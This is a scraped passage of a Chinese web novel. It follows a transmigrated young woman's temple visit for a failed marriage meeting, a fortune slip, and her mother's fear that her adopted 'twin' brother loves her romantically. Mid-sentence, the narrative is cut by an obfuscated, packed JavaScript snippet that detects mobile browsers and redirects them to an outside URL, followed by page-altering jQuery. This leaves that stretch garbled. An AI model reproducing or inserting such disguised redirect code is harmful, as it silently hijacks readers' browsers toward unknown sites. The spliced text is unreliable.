这时前头又遣人来催请,道新郎官酒也该醒了,该去席上继续陪贵客们喝才是,裴泽生拉硬拽将不情不愿的裴淇一并拖走,说还需劳烦二哥帮他挡酒,回头再与他们叙话。 裴珠与裴洲则相视一笑,道母亲正候着四哥拜见,就此并肩而去。 而不知不觉停在原地的裴玥,见积雪映光,梅影横疏,那两道远去的身影,仿若正步入了画中。 她不免长长叹了口气。 自己要是也投在太太的肚子里该多好呀! 裴珠她可真是天时地利人和,全都占尽了! 她恨恨地想。 只是—— 裴玥忽地顿住。 重生以来,那件刻意被她忽略,不去深想的前生旧事,倏忽清晰浮上了心头。 ——上一世,裴珠正是死在了四哥归位的前些日子。 她大约,至死也不曾知晓四哥的真实身份。 更勿论沾上什么泼天富贵。 4. 求签 待裴珠领四哥寻机见到母亲时,已至宴席散后。 ——父亲与二叔他们仍忙着在前院送客,想来不会轻易撞见他。 四哥几步上前,一撩长袍便俯身跪拜。 “不孝儿裴洲离家三载,今得返归京,拜母亲安!” 母亲忙将四哥从地上扶起,伸手轻拍他的肩臂脸庞,红着眼欣慰连声道,“好,好,洲儿如今已长成了……” 裴珠在旁窃笑,不愧是娘亲,与她见到四哥时的反应如出一辙。 “你如今可是住在别业里?我前两日命人去洒扫收拾,给你添置了些器物……” 裴洲扶母亲落座,温声道,“多谢母亲为我费心,不过我近来与友人同住在城外隆兴寺中,过些日子才回别业,母亲若有事吩咐,尽管遣人去别业找我身边的修林……” 隆兴寺? 裴珠感慨,“真巧,我后日便要去隆兴寺相看,倒是刚好能去你那儿瞧瞧!” 母亲端茶轻抿,像是在为她的话做补充,“你妹妹先前定亲都极不顺,如今年已十九,便是一向女儿晚嫁的京城,也不小了……” “此次便是要与那礼部员外郎袁府大公子相看……” 极不顺三字,其实不足以概括她曾定的两桩荒唐亲事。 第一任未婚夫是母亲做主,定的平南侯府三公子,长她三岁,在她想到拖延成婚的招式之前,就传来了对方同家里闹翻,已携落难青梅南下逃婚之事。 第一桩婚约,就此作罢。 第二任未婚夫是父亲定下的,新任户部尚书府高家的二公子,元妻过门不到两年便已病逝,膝下无子女,是位年方二十五的金牌鳏夫。 裴珠私下对此人作风略有耳闻,自然不愿。 可任凭她在府中闹个天翻地覆,也不能令裴大老爷有半分松口,那时裴珠亦开始盘点铺子收拾行装,做好了效仿前未婚夫南下逃婚的准备。 谁料议亲不过十数日,京中便传出高家二公子强抢民女置为外室这一丑事,那女子不幸已怀孽胎六月,归家不得,却又被他弃如敝履,几度寻死不成,最终只得闹市登门,跪地哀哭,求尚书大人做主。 传言愈演愈烈,有人说高二公子那病逝的原配,本就是因他在外头整日眠花宿柳,丝毫不顾她的正室体面,这才忧怨成疾,香消玉殒。 尚书府因而颜面扫地,京里更是传出了“好女不嫁高家郎”这样的坊间戏言,正被举荐入阁的高尚书,也因“治家不严”被参无数本,最终被圣上批“资历不足”,暂缓入阁,与宰辅之位失之交臂。 裴珠同母亲趁机成功拒婚,父亲却勃然大怒,险些又要扇母亲一巴掌,道她们母女俩妇人之见,目光短浅,此时若是雪中送炭,他们伯府便就真正能与高家修秦晋之好,何愁高尚书往后不会入阁,何愁伯府没有复兴来日。 这下倒好,好女婿没了不说,又彻底得罪了当朝大员,他的仕途从此还有什么指望? 或正因此,裴大老爷后来又理所当然地,将自个儿袭爵不顺的事也栽到了裴珠头上。 是以对她愈发严苛,见面必斥责挑刺,仿佛才能稍缓他那痛惜之心。 裴珠对此嗤之以鼻。 “袁大公子?……” 四哥稍作回想,斟酌道,“我离京前,曾与他谈诗论赋切磋过几回,此人文风清正,才高性疏,想来堪为良配……” 四哥竟见过他? 裴珠无语撇嘴,介绍半天他也不说重点。 “那此人相貌呢?生得俊不俊?在二哥三哥还有你之间,与谁更接近?” 裴家小辈们相貌都还不错,但若在男子中排序,自然她四哥是公认魁首。 裴珠两世外貌协会资深会员,标准颜控,她的底线就是——未来夫君绝不能比裴家三兄弟差太多! “这……”四哥陷入沉思。 “珠儿!”娘亲不轻不重唤了一声。 裴珠顿时老实,歪在她肩上蹭了蹭,卖乖道,“娘,我这不就是问问嘛!” 这可是首要核心关键指标! 温玉堇在她额首点了点,“你呀!” 再抬首看裴洲时,她却又另起了话头,“洲儿,虽说你已离开伯府,但既还唤我一声母亲,你的婚事总需我来替你操持……” “守孝三年你远在颍州,如今我才好问你,前些年你妹妹相看时,你道等立业后才肯成家,眼下你将要及冠,又要下场应试,我也该替你着手准备……” 哎呦! 催婚催到四哥头上了! 裴珠顿时兴致勃勃,隔岸观火。 “你同我说说,究竟你中意怎样的女子,我也好托媒四下替你寻摸看看……你是更重性情,还是更看容貌,或是才学,或是家境呢?天下四角俱全的好女子虽难寻,但以你品貌才干,或也堪配其中一二……” 裴珠听得津津有味,不忘附和。 “是呀!哥哥你回颍州这几年,我在信中问你好些回了,每次你都装没瞧见!……” 她那时正打着催四哥早日另觅所爱,少和裴玥掺和到一起的主意,几乎每封信上都在暗示发问,却从没收到正面答复。 裴洲在堂下端坐,缓缓眄一眼裴珠,又看回母亲,方抿唇淡淡笑了,“母亲不必烦忧,蓝田种玉,红叶题诗,良缘非苦寻,而是由天定,儿子若真像母亲说得那般出类拔萃,自能得遇佳偶,何须心急……” 裴珠立即叫破,“你又在绕弯子!……” 温玉堇那双眼睛未老,却已生太多倦意,仿若无波无澜,只定定瞧他。 两人目光静寂相接。 裴洲肤色极白,更衬目若点漆,从来都是开口先带三分笑,但此刻,这笑意竟似未抵眼底。 良久后,她顿了顿,“好,你既已有成算,娘便不多问了……” “倒是你既同那袁公子有旧,你妹妹相看那日,你也一道来掌掌眼吧。” 裴洲浅笑颔首,恭敬应是。 …… 冬月十七,檐上垂雪,鸱吻衔云。 西城门方启,矗立的守军呵着白气,来回呼喝驱驰,威远伯府的马车随人潮缓行,好容易挤出城门,便碾着霜雪泥泞,直往雁南山而去。 城外冻云垂野,朔风卷地,隔着层层厚绒车帘,车厢内却熏香暖融。 裴珠打着哈欠,“还不如年后再相看,何必冒雪出城……” “早一日定下也好……” 母亲只简短一句,便再无下文。 裴珠搂着她歪缠,“可我只盼着晚一日,就开心一日……” 母亲在她肩背上轻轻拍哄,“珠儿,娘知道你的心性,也愿意多留你几年,便是之前那不成的几桩婚约,也是说定要年过十九,再送你出嫁……” “工部员外郎袁家,普兴府山迂县百年的诗礼簪缨之族,从他家曾祖开始便代代为官,累世清望,论门第如今比我们家还略矜贵些,娘已命人细细探问了数月,袁府家风清正,袁大人与其妻吕夫人乃少年夫妻,琴瑟和鸣,府里并无任何妾室,膝下也唯有一子,袁家更有男子四十无所出才许纳妾这样的家训……” “袁公子年长你四岁,业已中举,据说也是受了守孝耽搁,不然早已榜上有名……” “我派去探问的人,都道他相貌堂堂,身量修长,形容气质绝不算辱没了你……” 裴珠清楚,母亲将细枝末节都这样拆碎了说给她听,已是思虑万千,计量深远。 她鼻尖发酸,嗓音也变含糊,便在她肩头拱了几下,故意拆台。 “什么相貌堂堂,能有哥哥俊吗?” 母亲却沉默良久,低声叹,“到底……是你哥哥……” 却在此时,忽听到轰然闷响,紧接着马声嘶鸣,车厢猛地朝一侧歪去,车里剧烈颠簸晃动。 “哎呦——”裴珠膝盖撞得生疼。 外头车夫急呼,“太太,姑娘,不好了,咱们马车陷进坑洼里了……” “啊?” 裴珠忙掀起边窗车帘,帘外朔风生冷扑面,冻得她浑身一激灵。 她探头朝下看去,果然见大半车辕结实陷在了泥泞深坑里。 “先下车吧。” 娘亲率先起身。 这片刻里,似乎又听见一阵齐整而厚重的陌生哒哒声,由远及近,穿透至耳畔,愈发清晰,是马蹄疾驰飞奔的声响,甚至还不是一两匹。 待下车后,甫一回首,就见积雪渐消的灰蒙山野官道上,有一队人马已至百米外,骏马个个高大精壮,为首之人更是体形魁伟,身穿寒铁战甲,甲叶上结着厚厚白霜,气势威赫,绝非常人。 温玉堇忙将裴珠揽到身后,朝匆忙赶来的下人们吩咐,“等这队人马先行,你们再推车。” 京中一向簪缨遍地,甲第连云,若不想无意间冲撞王公显贵,惹来祸事,在外行事便就须时刻谨慎。 谁料首骑那位将军模样的人一收缰绳,停在了十数米外,朝他侧后的兵士们吩咐了什么,便有几人同步下马,小跑过来客气抱拳。 “这位夫人,我家公爷见你们的马车似乎陷进了坑中,特命我等前来襄助。” 裴珠稍稍挪动身子,在母亲和嬷嬷并肩的夹缝中悄然打量。 只见他们个个身量高壮,佩戴覆面头盔,只露出一小片被冻得通红的脸颊,结霜的眼睛,再看这令行禁止的气势,又都从官道西北方而来,莫非竟是…… 正思索间,这几位兵士已一人在前拉,其余在后推,轻轻松松便将陷进深坑里的马车给推回了道上。 领头的那位又屈身检查一番,开口说车辕并未断裂,尚能行驶,末了还合抬几块大石,填入那深坑,又用随身佩刀拨土夯实,想来是怕再有车马陷落进去。 穿越古代近二十年,这样有些符合前世军人形象的兵哥,裴珠还是头一次见到! 心中不由颇为感触。 她在心中奋力鼓掌,又随母亲一道朝他们欠身行礼,以示感谢。 “幸得尊驾与将士们施以援手,感激不尽。” “无妨。”那马上将军看似威严不可逼近,开口倒有几分和气,“看你们行路这方向,莫不是也要去前头的雁南山隆兴寺?” 温玉堇自不会提女儿相看一事,只答,“正是,今日冬月十七,乃弥陀佛圣诞……” “已经十七了啊……多年未归,从西北一路奔波至此,竟已忘了时日……” 西北! 裴珠迅速捕捉到了关键词。 温玉堇不免 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裴府众人一路拾阶而上,待攀至山门高处,只见千峰负雪,松柏擎冰,万物明净,天地为之一肃。 隆兴寺大雄宝殿巍然当前,鎏金宝顶映着雪光,豁然压目。 该寺乃前朝魏武帝敕建国寺,据传本朝太祖龙兴时曾避兵祸于此,住持净空大师观其额生龙光,献偈语“宝光蕴秀栖禅枝,终得云开见天阶”,后果真登临天下。而后昌德朝庄慧皇后待字闺中,在此抽得凤凰签文“丹山彩凤栖梧桐”,三年后便正位中宫。 ——自此无论士子求蟾宫折桂,闺秀问金玉良缘,莫不踏破山门。 众仆从候在外头,裴珠与母亲到佛祖跟前奉香叩首,正要走时,却有位须发皆白的老僧,身着一身洗的发白的青色袈裟,忽地拦在她们前路,垂目合十,再一指佛案上的檀木签筒。 “阿弥陀佛,两位女檀越,此间缘法,不试一问再行么?” 裴珠这才恍然。 来此寺的香客多半是为求签而来,她同母亲却起身就要走,这才引得老僧出口提醒。 好意不必辜负。 裴珠笑吟吟与母亲对望一眼,见她点头示意,便就上前捧起那签筒,闭眼摇了三下后,有支签跃出半截,签头朱红,上刻“七十七”。 咦,她这手气不错。 是上上签! 等等,这签是求财的还是求姻缘的? 她求之前忘问了呀! 那老僧已接过签号,自经柜取出对应签文递给裴珠,签纸上有数列苍劲墨迹,上书—— “灵鹊衔春返旧枝,凝魂双照玉墀时,东风若问两生契,梅雪同参两不知”。 裴珠啧啧慨叹。 这庙里的签文果然会打机锋,又是喻夙世情缘今生重续,又是道贵胄门庭良缘可期…… 但凡待字闺中的女子抽到,怕没有不欣喜的。 可惜,它万万算不到自己尚有前生记忆…… ——上辈子她在现代寡了二十多年,一朵像样的桃花都没见过,渣男烂人倒是碰见不少,哪有什么前缘能续! “敢问大师,此签如何解?” 老僧霜眉覆目,眼神若古井微波,静默一瞬,不知想到了什么,才终于合掌笑了,手指殿外。 “女檀越莫急莫忧,此乃月老红绳早系,良缘天定之兆……” “且看庑廊东首那株二百载鸳鸯梅,此梅今岁雪中花开并蒂,岂非正应了签文''梅雪同参''之相?” “此乃因果相续,寒香证前缘也……” 裴珠细细望去,果见繁复虬枝间,有红白双色梅花共生一蒂,风过时落英翩跹如蝶,竟浑然不似深冬,倒像早春将至。 …… “多谢大师解签。” 她将签文塞进袖中,朝老僧福了一福,便挽着母亲出殿去。 刚行几步,就见不远处有一青年披氅而来,行走间簌簌细雪自他袍角滑落,雪雾朦胧,依稀能辨得他面上含笑,细看时墨发眉睫上皆已沾了雪沫,如玉如琢。 裴珠欣喜挥手,“四哥!” 既与四哥汇合,他们便依约定前往寺中茶室,此室悬匾“听雪”,两面开窗,正对一壑古松。 有小沙弥进来添炭,蒲团矮几皆已备妥。 茶壶中滚水已沸,咕嘟声不止,裴洲提壶为她们俩各斟一杯,裴珠捧着权当暖手,百无聊赖四处打量。 ——和袁家人约好的便是各自礼佛后来此茶室,假装偶遇,然后相看。 大费周章,又欲盖弥彰的古代相亲法。 裴珠托腮叹,“怎么还不来……” 早结束早回府呀! 母亲抬眼一看身旁的刘嬷嬷,她便会意而出。 只是刘嬷嬷这一去竟大半个时辰都不得返,久到担心她是否出了岔子,她这才领着个面生的妇人匆匆过来,神情颇为忧虑。 那妇人先福身行礼,又递了帖子,方才无奈禀道。 “温夫人,我家夫人要奴婢代她向您致歉,她今日怕是来不了了!” 儿女相看不宜宣之于口。 ——她等于在说,她家公子今日是来不了了! 5. 起心 待那袁府的下人离去后,刘嬷嬷才附耳过去,低声道了缘由。 原来这袁大公子今日临出门时马匹受惊,不慎扭伤了脚,怕是年前都不好出远门,更勿论上山来相看了。 “马匹受惊?”温玉堇神色微凝,难得颇为不悦,“可曾问清楚了,不是托词?” 怎就偏偏相看这日出了事? 袁府一向给她印象甚佳,若非如此,她方才就要当着那袁府下人面动怒斥责了。 “这……”刘嬷嬷也不好答。 另一边,等候半晌的相看对象失约,裴珠心底却全无怒火,只剩庆幸雀跃。 太好啦! 又能再拖几个月! 她牵住母亲的手晃了晃,嬉笑劝道,“娘,别追问嬷嬷啦!她又不是袁府的细作,哪儿打听得到那么多……” “就当今日上山只为了礼佛便是……” “您不是说午后寺中还有一场弥陀法会嘛,这下刚好先用了斋饭,再去听经,若是天晚疲惫,便在禅房歇上一夜,明早再回去如何?” 裴洲闻言,温和附声道,“隆兴寺的素斋一向负有盛名,母亲不妨尝尝看。” 提起斋饭,裴珠腹中馋虫亦被勾了起来,忙与四哥一人一边拥着母亲要去隆兴寺斋堂,孰料刚出茶室,迎面便见廊下两簇人马浩浩荡荡而来。 打头的两位贵妇人同步看来,讶异出声。 “温夫人!” “温夫人,好巧!” 温玉堇微微笑着颔首,双方各自见礼,“张夫人,吴夫人,幸会!” 裴珠随着福身行礼,余光已认出了这两位。 吴夫人是东平侯府的三太太,张夫人是永安伯夫人,而她们俩各自一侧都分别立着位年轻人,左侧是穿宝蓝直身的公子,右侧是披芙蓉红斗篷的小姐,皆与裴珠年纪相仿。 咦,都是随着长辈,都是青年男女,都已至这传说中的相看圣地隆兴寺茶室。 莫非——这俩是成功碰上面的相看人士? 裴珠心底乐了。 这位吴夫人是出了名的心直嘴快,眼波在裴珠与裴洲二人身上转了一圈,眼光顿时一亮,凑近来便拉起母亲的手,又咯咯直笑。 “温姐姐好福气呀,既养得了这般出众品貌的女儿,清丽脱俗,我见犹怜,又下手这样快地为她觅得良配……” 温玉堇面色一僵。 而另一位张夫人更擅观色,见状立即上前截断了这吴夫人的话,“天寒地冻的,吴姐姐你莫不是眼花了不成,口舌又失了准头?温夫人身旁的这两位,分明都是她膝下的儿女。” 什么? 吴夫人顿时讪讪笑,她这样的包打听,哪里不晓得三年前威远伯府闹得沸沸扬扬的那桩大热闹—— 素来颇有贤名的温大太太,竟能做出从府外抱养男孩充作嫡子,谎称龙凤双胎这样的荒唐大事! 还因此险些被夫家一纸休书休回娘家! 果真……真佛不露相呐! 往日她多叫人羡慕,公婆明理,儿女双全,女儿灵秀,儿子聪慧,十六便中解元,便是丈夫偏疼些妾室又如何,她宁愿给她那个不成器的夫君再塞个十房八房妾室,也盼能换来这样一个有出息的好儿子啊! 谁曾想,这样的好儿子,竟不是从她的肚皮出来的! 哎呦喂,一朝天地倒转,假儿子被逐出家门,她只得孤零零守着个女儿度日,往后还不得被妾室压得死死不能翻身! 想想都忍不住掬上一把同情泪。 吴夫人心底兼有自得与怜悯,是以每每再见着温夫人,反倒比以往更热络三分,毕竟以己度人,兔死狐悲,她可不愿落得这个境地。 只是,这位传闻中的假公子她数年不曾见过,今儿一时撞见竟没认出来,反倒闹了笑话。 这温夫人也真是,都已是被丈夫逐出家门的儿子,她怎地还领着到处走动? 不过也不难理解,这要换作是她,恐怕也舍不得就此撒手不管。 吴夫人浑若无事接上话头,又滔滔不绝称赞,“我就说呢……不愧是温姐姐的教养,果真两个都出落得如此不凡,我家这个莽撞的,若是能学的你膝下这位三分稳重,我就该多烧些高香了……” “吴姐姐客气了,听闻令公子骑射技艺精湛无比,这般少年锐气,实属难得……” 裴珠见母亲与她重启商业吹捧,朝四哥递了个眼色,垂眼强憋住了笑。 这位吴夫人也未免太幽默。 她自己领儿子来相看也就罢了,竟还将她和四哥也看成了来相看的一对。 真是天生一双媒婆眼——看谁都像在相亲! 与两位夫人别过后,裴珠与母亲兄长在素斋堂用过滋味甚佳的一顿斋饭,腹中刚填满不久,困意便随之袭来,于是就不随母亲去听法会,而是跟四哥去他的禅院瞧瞧,顺带午歇。 步入四哥的禅房,只见墙角摆清竹香熏笼,架上搭素绒鹤氅,桌上有他惯用的越窑青瓷茶具,也不知他住了几日,倒像自个儿家了。 她正到处转悠打量时,四哥的小厮修竹忽然着急忙慌进屋,正匆匆要朝四哥回禀什么,却又惊诧见着了她,赶忙闭口,转身朝她行礼。 “小的见过五姑娘。” 裴珠从修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780093|190370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹面上觉察出几分为难,便就打着哈欠,顺势进了内室,大喇喇占了四哥的床榻。 “哥哥我先在你这儿睡上一觉,你有什么要忙的就去吧,不必管我……” 说着锦雁便来服侍她解了外衣,脱了簪钗,倒入了被褥中,一阵困倦袭身,她很快合上了眼睛。 心里还在嘀咕。 果然已长成大人了。 四哥如今,也开始有秘密瞒着她了。 哎。 半梦半醒中,还隐约听四哥朝锦雁吩咐,“好生服侍,待你们姑娘醒后就……” “是……” …… 弥陀法会设在隆兴寺藏经阁后的讲经堂,三尊丈高鎏金佛像宝相庄严,在无数长明灯的映照下,披着赤色袈裟的僧侣分列两侧,悠长唱诵。 温玉堇手持念珠,跪坐在蒲团上,诵经声不绝,她的目光与思绪,却随着袅袅升腾的供香飘得更远。 待法会毕,檀香未尽,她照例添了供奉银子,知客僧垂首合十朝她行礼,又将她引至专供香客歇息的一处禅房。 禅房幽静,心却浮躁,手边经书恰好摊开了一页,她喃喃念道,“''南阎浮提众生,起心动念,无不是业,无不是罪''……” “嬷嬷,你说,我当年是不是错了?……” 刘嬷嬷心知她话中含义,便心疼道,“太太千万勿要自责,您当年,也没别的法子呀……” 温玉堇忧思深重,“若不是我将那孩子带入府,与珠儿充作双胞兄妹,又怎会到了如今这个进退两难的境地……” “不论他是否是亲兄长,珠儿都如此依赖信重他,他却……” 起了那样的心思! 刘嬷嬷低声劝解,“虽说四爷九岁那年,便知晓他并非太太亲生……” “可从小到大,他同五姑娘之间,谈笑玩闹都与亲兄妹没甚分别,即便现在他身份大白,也从没做过什么不规矩的事……” 她再三迟疑,才道,“太太莫不是……多心了……” 温玉堇长长叹息,顿了半晌,才终于吐露了深埋她心中许久的旧事。 “嬷嬷你不知,我曾亲眼撞见……” 去岁仲夏某日,她去芙蕖院要看珠儿,不料刚推门而入,就见院中紫藤花架下珠儿正合眼小憩,而那人正垂首轻吻在珠儿眉心,抬首时恰与她四目遥遥相对,温玉堇霎时如遭雷霆,僵立原地。 她绝不会看错—— 那张脸,分明就是裴洲! 刘嬷嬷惊得倒退半步,“竟有这样的事!” 那会儿,四爷裴洲他,他明明人都不在京城呐! 6. 山雪 “或许,这便是天意吧……” 温玉堇长长叹息。 她出身于江南船商巨贾之家,祖父曾对老伯爷有救命之恩,老伯爷便就此许下她与伯府长子裴晖的婚约。 成婚后,她随裴晖赴任江南明州盐运司判官,夫妻和睦,官邸距离娘家亦不远,她也能时时坐车归家见爹爹娘亲,那几乎是她此生最后的纯粹快活时光。 谁料好景不长,温家被卷入震动江南的两淮盐引大案,被指“知情不报,包庇赃银”,自此家产抄没大半,父兄相继入狱,祖父忧愤成疾,月余便离世,自此温家分崩离析,再无往日半分辉煌。 裴晖也受此案牵累,差点被削官到底,京中老伯爷几番求人运作,才给他求到了回京的调令。 她那时已有两月身孕,被裴晖拽上了回京的船,憾未能见到祖父临终最后一面,船上阴湿震荡,她又忧思悲痛,食不下咽,行至一半,就已不幸小产,回京后得大夫诊断,此番元气大伤,往后怕是极难有孕。 仕途深受牵连,裴晖自是不再如往日对她的温柔小意,几乎判若两人,她求他打听温家人如今境况,他甩手便走,道她如果再执迷不悟,他也只能给她一纸休书。 她闭门为祖父守孝之时,他那头已纳了美妾,她身心俱伤哀毁骨立之时,他新纳的妾室已然有孕。 等到新皇登基,大赦天下,她终于辗转收到了父兄消息,知晓他们已带家人回乡安定,裴晖的长女便已出世。 温玉堇本以为自己对他的感情早已磨灭干净,却仍觉阵阵心痛。 大约是老伯爷的施压,又有外界流言相逼,他又回了正院同她亲近,却也不影响他继续偏宠妾室。 ——徐氏再度有孕,顺利产下他的长子,他欣喜若狂,乃至亲手教养。 而后不久,她幸而不幸地,被诊出了身孕。 她寻来大夫问诊,得知这一胎来得极不易,若是再度小产,恐怕此生再无可能有孕。 “那时徐姨娘膝下儿女双全,又极得老爷偏爱,太太娘家偏又……大不如前……” “您若不能一举得男,又再不能生,今后膝下无子,老爷一去,您晚年莫非还需仰仗姨娘庶子鼻息?……” “再说本就是老爷失信在先,太太又何曾无情无义!” 是啊,当年过定时,裴家许下的也是四十无子方可纳妾的承诺。 如今温家失势,时移世易,谁还记得呢…… 温玉堇终于狠下了心,“这一胎若是男孩,那自然最好。” “若是女孩……” 她闭了闭眼,“那就是龙凤双胎之中的女儿。” 裴洲,便就是在珠儿降生那日,被悄悄抱养进府,成了她命里本不会有的儿子,成了珠儿本不会有的的双胞哥哥。 这孩子虽说幼时孱弱多病,但天生乖觉,自小就疼爱妹妹,体贴娘亲,偏又天资聪颖,努力刻苦,几乎就是全天下做母亲的都期盼的好儿子。 她犹觉幸运,誓要待他如己出,永不能让他发觉真相。 只是到底纸不包火,墙不蔽风,他还是知道了。 洲儿一向心思通透,即便知晓内情,却也从不在自己面前点破,行事间却处处表示,他认自己为亲母,晨昏定省,承欢膝下,从无差错…… 她便怀着一丝庆幸,想着这样也好,便同从前并无分别。 直到老伯爷过世,她察觉二房联同三太爷一早便得知了真相,寻到了当年的接生婆母女,准备灵堂发难时,他亦不知从何得了消息,深夜来跪求自己。 ——他恳求,若是堂上对峙,母亲不必出言维护他,只顾好自己便是,他本就不是裴家人,便是被除宗逐出府也理所应当。 后来一切发展,果真如他所言。 可即便不是骨肉至亲,但十多年养育之情,怎会是假的? 温玉堇自认对他的疼爱不亚于珠儿,从来都问心无愧。 可他怎会? 他怎能!—— 前两日她再度见到这孩子时,那幅紫藤花架下的画面总萦绕在她心头,久久不散,温玉堇总忍不住细瞧他与珠儿的之间的相处,再比对府中的那几对亲兄妹…… 他每每看向珠儿的细腻目光。 脸上浮现的温柔笑意。 话语间无有不从的亲昵。 …… 无一不昭示着,当年她无意间瞥见的那一幕,并非错觉! 他对珠儿,并非是纯粹的兄妹情谊。 那分明是男女之情! “……知好色而慕少艾,是了,他一早便知珠儿不是他的亲妹,待珠儿自己又知晓内情……” “三年里就连遥遥分隔两地,都要月月寄信送物……既这样亲近,如何能不起心思!” 刘嬷嬷见她胸脯起伏不止,呼吸都变急促,忙在她肩背安抚。 “太太您消消气……这事还没到不能挽回的地步……” 她连声安慰了太太半晌,忽而耳畔响起了午前碰见的那位吴夫人的话,心底福至心灵地,浮现了一个念头。 刘嬷嬷忙不迭低声开口,“……要老奴说,那位吴夫人错眼有错着,您正四处忙着替五姑娘寻夫婿,可说不准那人,远在天边,近在眼前呢……” “这京里,上哪儿能找到个如咱们四爷这般,品貌不消提,才干不用说,对五姑娘百依百顺,对您恭敬孝顺,这样十全十美的好夫婿呀……” “外头不也常有将那养子,收做上门女婿的嘛……” 话音未落,温玉堇却骤然变色,厉声道,“嬷嬷,这样的话,你往后断不可再提!” 刘嬷嬷见主子竟罕见地如此疾言厉色,立即便告罪止声。 半晌后,温玉堇才长长叹气。 “嬷嬷,你怕是不懂,洲儿年后就要下场春闱,以他才学即便中不得一甲,中一个二甲想必不是难事,将来不论是留京还是外放,总要走上仕途……” “朝中清流文官,最重声名,他一旦落得个娶养妹的污名,将来恐怕难有寸进……” 她神色凝重,重声道,“现下他或许因着年少情迷,一时不会在乎,可将来呢?他能一世都不在乎吗?” “他能赌,我的珠儿,能陪他去赌一个虚无缥缈的将来吗?” “更何况,男女之事,珠儿是女子,则更易受世人指摘,我那天真纯挚的女儿,又怎能受这样的苦楚……” 说到最后,她已话不成声。 刘嬷嬷忙将她紧紧搂住,忍泪安慰,“太太莫哭,莫哭啊……” “咱们五姑娘一向最是贴心孝顺,从不违逆您的意思,老奴看她对四爷只有兄妹之情,万万没有什么男女心思……” “您担心的事,绝不会发生……” …… 裴珠醒时,正值午后天光最亮的时辰。 她一骨碌从榻上起身,穿好衣裳,精神抖擞便要领着锦雁出门,却见四哥的小厮修竹正候在门口,仿佛正等她醒来。 “咦,你在这儿,你们爷呢?” 修竹像早打好腹稿,忙道,“四爷和友人一道上山赏雪去了,晚些才回来,说若是姑娘醒了要出门,叫小的一道跟着。” 上山赏雪? 难不成对着雪景吟诗作画去了? 说到作画,裴珠心头一动。 她立即回屋,环视一圈,果然在书案上看到一张尺许见方,还未装裱的画。 “他果真已画好了!” 画里雪地红梅旁立有一位身披银白狐裘的女子,冬风中微微露出一角藕荷裙摆,鬓发如云,竟簪有一簇冬日不得见的紫藤,双目潋滟,眉心点了枚朱砂小痣,正莹莹含笑看向画外人。 不愧是金牌画师四哥的手笔! ——前世她在现代,出门必拍照出片,一朝穿到古代,唯一还能记录美貌日常的方式,只剩作画了。 可是苦哈哈连日画自画像,哪有手机自拍来得轻松便捷! 幸好,懒人有捷径。 她很早便发现四哥笔下画出的自己,活脱脱就是加滤镜精修过的绝佳版本,便就此缠上了他。 这不他刚一回京,裴珠便求他再给自己画张他归府当日她的新造型,谁料才过去两日,他竟已画成了。 她喜盈盈在案边坐下,不假思索提笔蘸墨,在画中空白处落笔题了几列字。 再起身时,又有了新的主意。 她在这禅房中四下摸索,满意地翻出了个熟悉的檀木长匣,启盖一看,一把桐木七弦琴果真静卧在其中。 幸好四哥把琴也带来了! 锦雁不明所以,“姑娘您这是……” 裴珠再取出随身小铜镜对照,摘下多余的簪钗,只余一根棠梨白玉簪,再散了脑后一半发髻,任由乌发倾泻而下。 她敛了神色,手结法印,朝锦雁道,“信女灵豫居士,正在本寺清修……” ——灵豫,母亲给她起的别号,取聪慧通达,顺时安乐之意。 锦雁扑哧笑了,“姑娘,你这还真有几分像大师俗家弟子呢……” “大师俗家弟子”抱琴在前,锦雁紧随在旁,便就推门而出,朝禅院外而去。 “五姑娘,您这是要去哪儿呀?” 修竹小跑跟上,急忙问。 裴珠头也没回,话音却舒畅带笑。 “自然是,登山。” 还是四哥给了灵感。 既来了雁南山,自不能错过这山雪奇观,不如先上山去取取景摆摆造型,她回来后便只需画个草图交给画师四哥即可。 免得等他赏雪归来,天都要黑了。 只是四哥这小厮实在过分老实忠心,叠声劝个不停,“四爷说了,就请姑娘在寺中转转便好,山路雪滑,不宜远行啊……” “放心,我只在山外围转转,不往里头去。” …… 雁南山主峰巍峨耸峙,两侧余脉渐次低伏延展,恰似一只振翅南翔的鸿雁,因此得名“雁南”。 山之东麓是香火鼎盛的隆兴寺,西麓则重峦叠嶂,深谷幽邃。 此刻这深山之中,却肃杀地围了一群按刀而立的玄甲近卫。 最中间的那位将领模样的人闭目盘坐,面色发青,隐隐泛紫,裸着的上身肌肉虬结,上扎了数十根银针,正随着他粗重的呼吸微微颤动。 只见他浓眉紧锁,喉间发出一声压抑的闷哼,猛地向前倾身,吐出了一大口紫黑色的淤血,脸上那骇人的青紫之气,竟随之立即消退了几分。 在他身侧,立有一位披青色袈裟的老僧,眉须皆白,缓缓睁眼,声如古磬道,“阿弥陀佛,贫僧已为闻施主施针,逼出了脏腑毒邪,后续只需按时服用药汤,清涤余毒,性命便无大碍了……” 闻言,立刻便有一位高壮将领喜色连连,“太好了!谢谢玄智大师!太谢谢您了!” 其余众将士及一位文士亦纷纷行礼道谢。 却另有一道声音沉声询问,“敢问玄智大师,此伤是否会影响寿数……” 开口这人身着漆黑玄衣,覆黑铁面具,上能见奇异繁复纹饰,雪地中浑身静寂若一株古木。 玄智大师目光缓缓移向他,垂目摇首,“寿数乃天机,贫僧岂可妄断,闻施主吉人天相,今后好生将养,或可无碍根本……” 高壮将领立即揽住面具人的肩头,“奚老弟你就是心太细,担心太多,咱们公爷这么多年沙场拼杀,什么伤没受过,他就是长命百岁的命!哪儿能被这蛮族人小小毒箭给整治了……” “老姜你这什么屁话,什么叫整治……” 将士们嬉笑间,玄智大师已将闻铮身上的针尽数取下,纳入布囊之中。 面具人垂首抱拳,郑重一揖,“多谢大师出手诊治……” 玄智大师再度深深望他一眼,“闻施主既已无碍,贫僧告退。” 在众人齐声送别中,他踏雪而去,转瞬便在数丈之外,雪地却无痕。 英国公闻铮终于能起身,敛好衣裳后便朝那玄衣人一笑,“奚止,陪我再往里头走走吧?” 又向一旁的文士道,“黄先生你也一道。” 